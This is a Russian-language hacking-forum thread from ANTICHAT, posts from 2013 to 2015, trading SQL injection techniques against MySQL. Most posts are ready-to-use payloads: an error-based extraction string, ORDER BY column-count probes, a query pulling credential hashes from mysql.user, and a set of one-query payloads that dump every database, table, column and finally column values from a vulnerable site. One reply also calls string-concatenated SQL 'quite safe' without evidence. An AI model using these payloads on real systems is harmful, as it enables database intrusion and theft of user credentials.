HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #241  
Старый 12.10.2013, 19:31
maverick
Новичок
Регистрация: 29.08.2010
Сообщений: 1
С нами: 8265206

Репутация: 0
По умолчанию

Друзья, помогите!

Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]
$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR
но к сожалению никак не нагуглю обход mysql_real_escape_string

Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
 

  #242  
Старый 12.10.2013, 22:31
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию

Цитата:
Сообщение от maverick  
Друзья, помогите!
Пытаюсь найти аргументы для товарища, который считает что конструкция безопасна:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]
$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query_once[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SELECT id, email FROM users WHERE email="'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_real_escape_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR
но к сожалению никак не нагуглю обход mysql_real_escape_string
Я хочу сказать, что правильнее было бы параметризировать запрос, но пока я не покажу как обойти эту конструкцию. Потому прошу помощи. Если конечно я не заблуждаюсь.
Вполне безопасная конструкция.
 

  #243  
Старый 04.11.2013, 14:51
zeleny_more
Новичок
Регистрация: 30.10.2013
Сообщений: 1
С нами: 6597686

Репутация: 0
По умолчанию

Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
 

  #244  
Старый 04.11.2013, 15:52
t3cHn0iD
Новичок
Регистрация: 06.04.2009
Сообщений: 2
С нами: 8998242

Репутация: 2
По умолчанию

Цитата:
Сообщение от zeleny_more  
Народ, имеется инъекция по параметру, который подставляется в LIMIT в запросе. Поскольку LIMIT - самая последняя часть запроса, то не могу скорректировать запрос так, чтобы получить что-то полезное (ни UNION не могу вставить, ничего такого).. Есть вообще возможность из этого LIMITa выдернуть что-то полезное?
/showpost.php?p=535989&postcount=4

/showthread.php?t=7118 - заголовок "инъекция после limit"
 

  #245  
Старый 30.01.2014, 02:06
FuckGoogle
Новичок
Регистрация: 18.01.2013
Сообщений: 8
С нами: 7008086

Репутация: 0
По умолчанию

(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117) ,CHAR(67),CHAR(110),CHAR(98),CHAR(78),CHAR(52),CHA R(89),CHAR(119),CHAR(69)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
 

  #246  
Старый 21.06.2014, 23:22
YaBtr
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами: 7343606

Репутация: 652


По умолчанию

Ну просто строчно рекомендую к изучению. Реальный прорыв!

MySQL: Инъекция в LIMIT после ORDER BY
 

  #247  
Старый 01.09.2014, 16:24
psihoz26
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами: 8142806

Репутация: 324


По умолчанию

Хочу добавить про подбор колонок в 1 запрос.

В случае если sqli выводит ошибки и пэйлоад вида

Код:
*+order+by+100+--+
выдаст нам ошибку

Код:
Query failed: Unknown column '100' in 'order clause'
То сразу смело вставляем такой пэйлоад

Код:
+order+by+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70+--+
В ответ получим

Код:
Query failed: Unknown column '*' in 'order clause'
Где '*'-1='колличество наших колонок'.
 

  #248  
Старый 23.03.2015, 12:26
YaBtr
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами: 7343606

Репутация: 652


По умолчанию

Новый ветор вывода через ошибку в MySQL >= 5.7.5

Вывод производится через функции ST_LatFromGeoHash(), ST_LongFromGeoHash(), ST_PointFromGeoHash().

Подробнее
 

  #249  
Старый 31.03.2015, 17:43
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию

начиная с версии MySQL 5.7 колонка password в бд mysql переименована в authentication_string.

Код:
SELECT user, authentication_string FROM mysql.user;
 

  #250  
Старый 02.04.2015, 14:45
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами: 9000386

Репутация: 1148
По умолчанию

Товарищ profexer сделал очень крутую вещь - ускоритель MySQL.

Вывод данных в один запрос:

SELECT MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM {TABLE} WHERE @p:=CONCAT(@p,0x2C,{COLUMNS})),@p),5)

Хотелось бы сразу получить одним запросом абсолютно всю структуру и уже далее тащить данные, а сделать можно это так(я сделал пример без пробелов!). Если есть предположения, что бд очень много, то сразу можно использовать пример ниже.



Список абсолютно всех бд, таблиц, колонок одним запросом(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.columns)WHERE@p:=CONCAT(@p,0x0D0 A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

0x0D0A -> перевод строки, смотреть в "Исходный код страницы"

Если желаете, то можете заменить на 0x2C -> Запятая или другой удобной вид, но в данном случае, как мне кажется, структуру любой бд с скули наглядно сразу не будет видно.

Ну далее частные случаи:



Список бд(без пробелов!)


SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.schemata)WHERE@p:=CONCAT(@p,0x2C ,schema_name)),@p),5))

Список всех бд, таблиц(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(i nformation_schema.tables)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name)),@p),5))

Список всех таблиц, колонок текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _schema=database()))x)WHERE@p:=CONCAT(@p,0x0D0A ,table_schema,0x3a,table_name,0x3a,column_name)),@ p),5))

Список таблиц текущей бд(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.tables)where(table_ schema=database()))x)WHERE@p:=CONCAT(@p,0x2C,table _name)),@p),5))

Список колонок таблицы users(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM(( select*from(information_schema.columns)where(table _name=0x7573657273))x)WHERE@p:=CONCAT(@p,0x2C,colu mn_name)),@p),5))

ps помните, таблица users и в другой бд может быть, тогда добавить условие в where

И напоследок значения с колонок(без пробелов!)

SELECT(MID(CONCAT(@p:=0x20,(SELECT(COUNT(*))FROM({ TABLE})WHERE@p:=CONCAT(@p,0x0D0A,{COLUMN1},0x3a,{C OLUMN2})),@p),5))
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.